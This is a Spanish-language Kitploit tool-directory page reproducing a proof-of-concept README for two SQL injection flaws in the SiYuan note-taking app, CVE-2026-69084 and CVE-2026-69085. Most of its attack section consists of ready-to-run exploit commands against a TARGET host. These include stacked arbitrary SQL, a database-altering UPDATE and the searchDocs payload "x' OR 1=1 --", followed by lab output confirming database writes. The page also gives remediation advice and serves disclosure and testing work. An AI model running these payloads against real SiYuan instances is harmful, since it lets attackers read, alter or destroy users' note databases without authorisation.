Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-69084-PoC — CVE-2026-69084/69085 — SiYuan ejecución arbitraria de SQL mediante searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verificado en v3.7.2, rechazado en v3.7.3. | Kitploit
Herramientas/GitHubGitHub/boreas37/cve-2026-69084-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — SiYuan ejecución arbitraria de SQL mediante searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verificado en v3.7.2, rechazado en v3.7.3.

Ver Repositorio
1hace 11 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-69084 / CVE-2026-69085 — Ejecución arbitraria de SQL y SQLi en SiYuan

CVE-2026-69084: Ejecución arbitraria de SQL a través de /api/search/searchEmbedBlock CVE-2026-69085: Inyección SQL a través de /api/filetree/searchDocs CVSS 9.9 (Crítico) cada uno · CWE-89 · SiYuan <= v3.7.2 (corregido en v3.7.3) Publicado el 2026-08-03 · sin PoC público en el momento de la publicación

TL;DR

SiYuan (aplicación de toma de notas de código abierto, github.com/siyuan-note/siyuan) expone dos endpoints de API que entregan SQL controlado por el atacante a su base de datos SQLite:

CVE-2026-69084 — /api/search/searchEmbedBlock: El parámetro stmt se pasa textualmente al manejador principal de lectura-escritura siyuan.db sin restricción de declaración única ni de solo lectura. El controlador de SQLite ejecuta declaraciones apiladas (separadas por punto y coma), por lo que un atacante puede CREATE / INSERT / UPDATE / DELETE / DROP cualquier cosa en la base de datos. Protegido únicamente por CheckAuth — accesible con un token de publicación RoleReader, o de forma anónima cuando el modo de publicación tiene Publish.Auth.Enable=false.

CVE-2026-69085 — /api/filetree/searchDocs: El parámetro keyword se concatena directamente en el SQL sin escape ni vinculación de parámetros.

Ambas se corrigieron en v3.7.3 mediante sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().

Exploit

root@kitploit:~
# 1. Non-destructive probe (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

Si la instancia se ejecuta con el modo de publicación habilitado y la autenticación deshabilitada (Publish.Auth.Enable=false), no se necesita --auth en absoluto.

Verificación (SiYuan real v3.7.2 en Docker)

root@kitploit:~
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL kabul edildi (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL kabul edildi (blocks: 0)
[+] DB-WRITE KANITI TAMAM — siyuan.db'de pwn_69084 tablosu + 31337 satırı

# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

La v3.7.3 corregida rechaza las mismas solicitudes:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • un SELECT único sigue funcionando (se conserva la funcionalidad legítima)

Funcionamiento interno del PoC

El PoC en Python realiza un inicio de sesión (/api/system/loginAuth) para obtener la cookie de autenticación y luego envía un POST al endpoint vulnerable. Probado contra b3log/siyuan:v3.7.2 (vulnerable) y b3log/siyuan:v3.7.3 (parcheado).

Remediación

  • Actualiza SiYuan a v3.7.3 o posterior.
  • Si expones el modo de publicación de SiYuan, mantén Publish.Auth.Enable=true y usa tokens de RoleReader seguros.

Referencias

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • Aviso de VulnCheck

Descargo de responsabilidad

Solo para pruebas de seguridad autorizadas y fines educativos.

Descargar herramienta